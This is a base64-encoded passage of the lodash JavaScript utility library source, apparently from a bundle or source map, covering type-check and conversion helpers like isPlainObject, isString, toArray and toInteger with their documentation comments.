gICAgICogXy5pc05pbChudWxsKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzTmlsKHZvaWQgMCk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc05pbChOYU4pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNOaWwodmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PSBudWxsO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYSBgTnVtYmVyYCBwcmltaXRpdmUgb3Igb2JqZWN0LlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRvIGV4Y2x1ZGUgYEluZmluaXR5YCwgYC1JbmZpbml0eWAsIGFuZCBgTmFOYCwgd2hpY2ggYXJlXG4gICAgICogY2xhc3NpZmllZCBhcyBudW1iZXJzLCB1c2UgdGhlIGBfLmlzRmluaXRlYCBtZXRob2QuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgbnVtYmVyLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNOdW1iZXIoMyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc051bWJlcihOdW1iZXIuTUlOX1ZBTFVFKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzTnVtYmVyKEluZmluaXR5KTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzTnVtYmVyKCczJyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc051bWJlcih2YWx1ZSkge1xuICAgICAgcmV0dXJuIHR5cGVvZiB2YWx1ZSA9PSAnbnVtYmVyJyB8fFxuICAgICAgICAoaXNPYmplY3RMaWtlKHZhbHVlKSAmJiBiYXNlR2V0VGFnKHZhbHVlKSA9PSBudW1iZXJUYWcpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGEgcGxhaW4gb2JqZWN0LCB0aGF0IGlzLCBhbiBvYmplY3QgY3JlYXRlZCBieSB0aGVcbiAgICAgKiBgT2JqZWN0YCBjb25zdHJ1Y3RvciBvciBvbmUgd2l0aCBhIGBbW1Byb3RvdHlwZV1dYCBvZiBgbnVsbGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMC44LjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgcGxhaW4gb2JqZWN0LCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIGZ1bmN0aW9uIEZvbygpIHtcbiAgICAgKiAgIHRoaXMuYSA9IDE7XG4gICAgICogfVxuICAgICAqXG4gICAgICogXy5pc1BsYWluT2JqZWN0KG5ldyBGb28pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICpcbiAgICAgKiBfLmlzUGxhaW5PYmplY3QoWzEsIDIsIDNdKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5pc1BsYWluT2JqZWN0KHsgJ3gnOiAwLCAneSc6IDAgfSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc1BsYWluT2JqZWN0KE9iamVjdC5jcmVhdGUobnVsbCkpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc1BsYWluT2JqZWN0KHZhbHVlKSB7XG4gICAgICBpZiAoIWlzT2JqZWN0TGlrZSh2YWx1ZSkgfHwgYmFzZUdldFRhZyh2YWx1ZSkgIT0gb2JqZWN0VGFnKSB7XG4gICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgIH1cbiAgICAgIHZhciBwcm90byA9IGdldFByb3RvdHlwZSh2YWx1ZSk7XG4gICAgICBpZiAocHJvdG8gPT09IG51bGwpIHtcbiAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICB9XG4gICAgICB2YXIgQ3RvciA9IGhhc093blByb3BlcnR5LmNhbGwocHJvdG8sICdjb25zdHJ1Y3RvcicpICYmIHByb3RvLmNvbnN0cnVjdG9yO1xuICAgICAgcmV0dXJuIHR5cGVvZiBDdG9yID09ICdmdW5jdGlvbicgJiYgQ3RvciBpbnN0YW5jZW9mIEN0b3IgJiZcbiAgICAgICAgZnVuY1RvU3RyaW5nLmNhbGwoQ3RvcikgPT0gb2JqZWN0Q3RvclN0cmluZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBjbGFzc2lmaWVkIGFzIGEgYFJlZ0V4cGAgb2JqZWN0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHJlZ2V4cCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzUmVnRXhwKC9hYmMvKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzUmVnRXhwKCcvYWJjLycpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgdmFyIGlzUmVnRXhwID0gbm9kZUlzUmVnRXhwID8gYmFzZVVuYXJ5KG5vZGVJc1JlZ0V4cCkgOiBiYXNlSXNSZWdFeHA7XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBhIHNhZmUgaW50ZWdlci4gQW4gaW50ZWdlciBpcyBzYWZlIGlmIGl0J3MgYW4gSUVFRS03NTRcbiAgICAgKiBkb3VibGUgcHJlY2lzaW9uIG51bWJlciB3aGljaCBpc24ndCB0aGUgcmVzdWx0IG9mIGEgcm91bmRlZCB1bnNhZmUgaW50ZWdlci5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBpcyBiYXNlZCBvblxuICAgICAqIFtgTnVtYmVyLmlzU2FmZUludGVnZXJgXShodHRwczovL21kbi5pby9OdW1iZXIvaXNTYWZlSW50ZWdlcikuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGEgc2FmZSBpbnRlZ2VyLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNTYWZlSW50ZWdlcigzKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzU2FmZUludGVnZXIoTnVtYmVyLk1JTl9WQUxVRSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNTYWZlSW50ZWdlcihJbmZpbml0eSk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKlxuICAgICAqIF8uaXNTYWZlSW50ZWdlcignMycpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNTYWZlSW50ZWdlcih2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzSW50ZWdlcih2YWx1ZSkgJiYgdmFsdWUgPj0gLU1BWF9TQUZFX0lOVEVHRVIgJiYgdmFsdWUgPD0gTUFYX1NBRkVfSU5URUdFUjtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBjbGFzc2lmaWVkIGFzIGEgYFNldGAgb2JqZWN0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMy4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHNldCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzU2V0KG5ldyBTZXQpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uaXNTZXQobmV3IFdlYWtTZXQpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgdmFyIGlzU2V0ID0gbm9kZUlzU2V0ID8gYmFzZVVuYXJ5KG5vZGVJc1NldCkgOiBiYXNlSXNTZXQ7XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBjbGFzc2lmaWVkIGFzIGEgYFN0cmluZ2AgcHJpbWl0aXZlIG9yIG9iamVjdC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAc2luY2UgMC4xLjBcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSBzdHJpbmcsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5pc1N0cmluZygnYWJjJyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc1N0cmluZygxKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzU3RyaW5nKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdHlwZW9mIHZhbHVlID09ICdzdHJpbmcnIHx8XG4gICAgICAgICghaXNBcnJheSh2YWx1ZSkgJiYgaXNPYmplY3RMaWtlKHZhbHVlKSAmJiBiYXNlR2V0VGFnKHZhbHVlKSA9PSBzdHJpbmdUYWcpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYSBgU3ltYm9sYCBwcmltaXRpdmUgb3Igb2JqZWN0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMC4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHN5bWJvbCwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzU3ltYm9sKFN5bWJvbC5pdGVyYXRvcik7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc1N5bWJvbCgnYWJjJyk7XG4gICAgICogLy8gPT4gZmFsc2VcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBpc1N5bWJvbCh2YWx1ZSkge1xuICAgICAgcmV0dXJuIHR5cGVvZiB2YWx1ZSA9PSAnc3ltYm9sJyB8fFxuICAgICAgICAoaXNPYmplY3RMaWtlKHZhbHVlKSAmJiBiYXNlR2V0VGFnKHZhbHVlKSA9PSBzeW1ib2xUYWcpO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYSB0eXBlZCBhcnJheS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY2hlY2suXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgYSB0eXBlZCBhcnJheSwgZWxzZSBgZmFsc2VgLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLmlzVHlwZWRBcnJheShuZXcgVWludDhBcnJheSk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5pc1R5cGVkQXJyYXkoW10pO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgdmFyIGlzVHlwZWRBcnJheSA9IG5vZGVJc1R5cGVkQXJyYXkgPyBiYXNlVW5hcnkobm9kZUlzVHlwZWRBcnJheSkgOiBiYXNlSXNUeXBlZEFycmF5O1xuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGB2YWx1ZWAgaXMgYHVuZGVmaW5lZGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQHNpbmNlIDAuMS4wXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNoZWNrLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGB1bmRlZmluZWRgLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNVbmRlZmluZWQodm9pZCAwKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzVW5kZWZpbmVkKG51bGwpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgZnVuY3Rpb24gaXNVbmRlZmluZWQodmFsdWUpIHtcbiAgICAgIHJldHVybiB2YWx1ZSA9PT0gdW5kZWZpbmVkO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYSBgV2Vha01hcGAgb2JqZWN0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMy4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHdlYWsgbWFwLCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNXZWFrTWFwKG5ldyBXZWFrTWFwKTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzV2Vha01hcChuZXcgTWFwKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzV2Vha01hcCh2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzT2JqZWN0TGlrZSh2YWx1ZSkgJiYgZ2V0VGFnKHZhbHVlKSA9PSB3ZWFrTWFwVGFnO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGNsYXNzaWZpZWQgYXMgYSBgV2Vha1NldGAgb2JqZWN0LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDQuMy4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjaGVjay5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHZhbHVlYCBpcyBhIHdlYWsgc2V0LCBlbHNlIGBmYWxzZWAuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8uaXNXZWFrU2V0KG5ldyBXZWFrU2V0KTtcbiAgICAgKiAvLyA9PiB0cnVlXG4gICAgICpcbiAgICAgKiBfLmlzV2Vha1NldChuZXcgU2V0KTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIGlzV2Vha1NldCh2YWx1ZSkge1xuICAgICAgcmV0dXJuIGlzT2JqZWN0TGlrZSh2YWx1ZSkgJiYgYmFzZUdldFRhZyh2YWx1ZSkgPT0gd2Vha1NldFRhZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDaGVja3MgaWYgYHZhbHVlYCBpcyBsZXNzIHRoYW4gYG90aGVyYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjkuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29tcGFyZS5cbiAgICAgKiBAcGFyYW0geyp9IG90aGVyIFRoZSBvdGhlciB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEByZXR1cm5zIHtib29sZWFufSBSZXR1cm5zIGB0cnVlYCBpZiBgdmFsdWVgIGlzIGxlc3MgdGhhbiBgb3RoZXJgLFxuICAgICAqICBlbHNlIGBmYWxzZWAuXG4gICAgICogQHNlZSBfLmd0XG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubHQoMSwgMyk7XG4gICAgICogLy8gPT4gdHJ1ZVxuICAgICAqXG4gICAgICogXy5sdCgzLCAzKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5sdCgzLCAxKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqL1xuICAgIHZhciBsdCA9IGNyZWF0ZVJlbGF0aW9uYWxPcGVyYXRpb24oYmFzZUx0KTtcblxuICAgIC8qKlxuICAgICAqIENoZWNrcyBpZiBgdmFsdWVgIGlzIGxlc3MgdGhhbiBvciBlcXVhbCB0byBgb3RoZXJgLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuOS4wXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb21wYXJlLlxuICAgICAqIEBwYXJhbSB7Kn0gb3RoZXIgVGhlIG90aGVyIHZhbHVlIHRvIGNvbXBhcmUuXG4gICAgICogQHJldHVybnMge2Jvb2xlYW59IFJldHVybnMgYHRydWVgIGlmIGB2YWx1ZWAgaXMgbGVzcyB0aGFuIG9yIGVxdWFsIHRvXG4gICAgICogIGBvdGhlcmAsIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAc2VlIF8uZ3RlXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ubHRlKDEsIDMpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8ubHRlKDMsIDMpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8ubHRlKDMsIDEpO1xuICAgICAqIC8vID0+IGZhbHNlXG4gICAgICovXG4gICAgdmFyIGx0ZSA9IGNyZWF0ZVJlbGF0aW9uYWxPcGVyYXRpb24oZnVuY3Rpb24odmFsdWUsIG90aGVyKSB7XG4gICAgICByZXR1cm4gdmFsdWUgPD0gb3RoZXI7XG4gICAgfSk7XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGFuIGFycmF5LlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IExhbmdcbiAgICAgKiBAcGFyYW0geyp9IHZhbHVlIFRoZSB2YWx1ZSB0byBjb252ZXJ0LlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgY29udmVydGVkIGFycmF5LlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnRvQXJyYXkoeyAnYSc6IDEsICdiJzogMiB9KTtcbiAgICAgKiAvLyA9PiBbMSwgMl1cbiAgICAgKlxuICAgICAqIF8udG9BcnJheSgnYWJjJyk7XG4gICAgICogLy8gPT4gWydhJywgJ2InLCAnYyddXG4gICAgICpcbiAgICAgKiBfLnRvQXJyYXkoMSk7XG4gICAgICogLy8gPT4gW11cbiAgICAgKlxuICAgICAqIF8udG9BcnJheShudWxsKTtcbiAgICAgKiAvLyA9PiBbXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRvQXJyYXkodmFsdWUpIHtcbiAgICAgIGlmICghdmFsdWUpIHtcbiAgICAgICAgcmV0dXJuIFtdO1xuICAgICAgfVxuICAgICAgaWYgKGlzQXJyYXlMaWtlKHZhbHVlKSkge1xuICAgICAgICByZXR1cm4gaXNTdHJpbmcodmFsdWUpID8gc3RyaW5nVG9BcnJheSh2YWx1ZSkgOiBjb3B5QXJyYXkodmFsdWUpO1xuICAgICAgfVxuICAgICAgaWYgKHN5bUl0ZXJhdG9yICYmIHZhbHVlW3N5bUl0ZXJhdG9yXSkge1xuICAgICAgICByZXR1cm4gaXRlcmF0b3JUb0FycmF5KHZhbHVlW3N5bUl0ZXJhdG9yXSgpKTtcbiAgICAgIH1cbiAgICAgIHZhciB0YWcgPSBnZXRUYWcodmFsdWUpLFxuICAgICAgICAgIGZ1bmMgPSB0YWcgPT0gbWFwVGFnID8gbWFwVG9BcnJheSA6ICh0YWcgPT0gc2V0VGFnID8gc2V0VG9BcnJheSA6IHZhbHVlcyk7XG5cbiAgICAgIHJldHVybiBmdW5jKHZhbHVlKTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGEgZmluaXRlIG51bWJlci5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjEyLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNvbnZlcnQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgY29udmVydGVkIG51bWJlci5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50b0Zpbml0ZSgzLjIpO1xuICAgICAqIC8vID0+IDMuMlxuICAgICAqXG4gICAgICogXy50b0Zpbml0ZShOdW1iZXIuTUlOX1ZBTFVFKTtcbiAgICAgKiAvLyA9PiA1ZS0zMjRcbiAgICAgKlxuICAgICAqIF8udG9GaW5pdGUoSW5maW5pdHkpO1xuICAgICAqIC8vID0+IDEuNzk3NjkzMTM0ODYyMzE1N2UrMzA4XG4gICAgICpcbiAgICAgKiBfLnRvRmluaXRlKCczLjInKTtcbiAgICAgKiAvLyA9PiAzLjJcbiAgICAgKi9cbiAgICBmdW5jdGlvbiB0b0Zpbml0ZSh2YWx1ZSkge1xuICAgICAgaWYgKCF2YWx1ZSkge1xuICAgICAgICByZXR1cm4gdmFsdWUgPT09IDAgPyB2YWx1ZSA6IDA7XG4gICAgICB9XG4gICAgICB2YWx1ZSA9IHRvTnVtYmVyKHZhbHVlKTtcbiAgICAgIGlmICh2YWx1ZSA9PT0gSU5GSU5JVFkgfHwgdmFsdWUgPT09IC1JTkZJTklUWSkge1xuICAgICAgICB2YXIgc2lnbiA9ICh2YWx1ZSA8IDAgPyAtMSA6IDEpO1xuICAgICAgICByZXR1cm4gc2lnbiAqIE1BWF9JTlRFR0VSO1xuICAgICAgfVxuICAgICAgcmV0dXJuIHZhbHVlID09PSB2YWx1ZSA/IHZhbHVlIDogMDtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgdmFsdWVgIHRvIGFuIGludGVnZXIuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgaXMgbG9vc2VseSBiYXNlZCBvblxuICAgICAqIFtgVG9JbnRlZ2VyYF0oaHR0cDovL3d3dy5lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLXRvaW50ZWdlcikuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgTGFuZ1xuICAgICAqIEBwYXJhbSB7Kn0gdmFsdWUgVGhlIHZhbHVlIHRvIGNvbnZlcnQuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgY29udmVydGVkIGludGVnZXIuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8udG9JbnRlZ2VyKDMuMik7XG4gICAgICogLy8gPT4gM1xuICAgICAqXG4gICAgICogXy50b0ludGVnZXIoTnVtYmVyLk1JTl9WQUxVRSk7XG4gICAgICogLy8gPT4gMFxuICAgICAqXG4gICAgICogXy50b0ludGVnZXIoSW5maW5pdHkpO1xuICAgICAqIC8vID0+IDEuNzk3NjkzMTM0ODYyMzE1N2UrMzA4XG4gICAgICpcbiAgICAgKiBfLnRvSW50ZWdlcignMy4yJyk7XG4gICAgICogLy8gPT4gM1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRvSW50ZWdlcih2YWx1ZSkge1xuICAgICAgdmFyIHJlc3VsdCA9IHRvRmluaXRlKHZhbHVlKSxcbiAgICAgICAgICByZW1haW5kZXIgPSByZXN1bHQgJSAxO1xuXG4gICAgICByZXR1cm4gcmVzdWx0ID09PSByZXN1bHQgPyAocmVtYWluZGVyID8gcmVzdWx0IC0gcmVtYWluZGVyIDogcmVzdWx0KSA6IDA7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ29udmVydHMgYHZhbHVlYCB0byBhbiBpbnRlZ2VyIHN1aXRhYmxlIGZvciB1c2UgYXMgdGhlIGxlbmd0aCBvZiBhblxuICAgICAqIGFycmF5LWxpa2Ugb2JqZWN0LlxuICAgICAqXG4gICAgICogKipOb3RlOioqIFRoaXMgbWV0aG9kIGlzIGJhc2VkIG9uXG4gICAgICogW2BUb0xlbmd0aGBdKGh0dHA6Ly9lY21hLWludGVybmF0aW9uYWwub3JnL2VjbWEtMjYyLzcuMC8jc2VjLXRvbGVuZ3RoKS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBMYW5nXG4gICAgICogQHBhcmFtIHsqfSB2YWx1ZSBUaGUgdmFsdWUgdG8gY29udmVydC5cbiAgICAgKiBAcmV0dXJucyB7bnVtYmVyfSBSZXR1cm5zIHRoZSBjb252ZXJ0ZWQgaW50ZWdlci5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy50b0xlbmd0aCgzLjIpO1xuICAgICAqIC8vID0+IDNcbiAgICAgKlxuICAgICAqIF8udG9MZW5ndGgoTnVtYmVyLk1JTl9WQUxVRSk7XG4gICAgICogLy8gPT4gMFxuICAgICAqXG4gICAgICogXy50b0xlbmd0aChJbmZpbml0eSk7XG4gICAgICogLy8gPT4gNDI5NDk2NzI5NVxuICAgICAqXG4gICAgICogXy50b0xlbmd0aCgnMy4yJyk7XG4gICAgICogLy8gPT4gM1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHRvTGVuZ3RoKHZhbHVlKSB7XG4gICAgICByZXR1cm4gdmFsdWUgPyBiYXNlQ2xhbXAodG9JbnRlZ2VyKHZhbHVlKSwgMCwgTUFYX0FSUkFZX0xFTkdUSCkg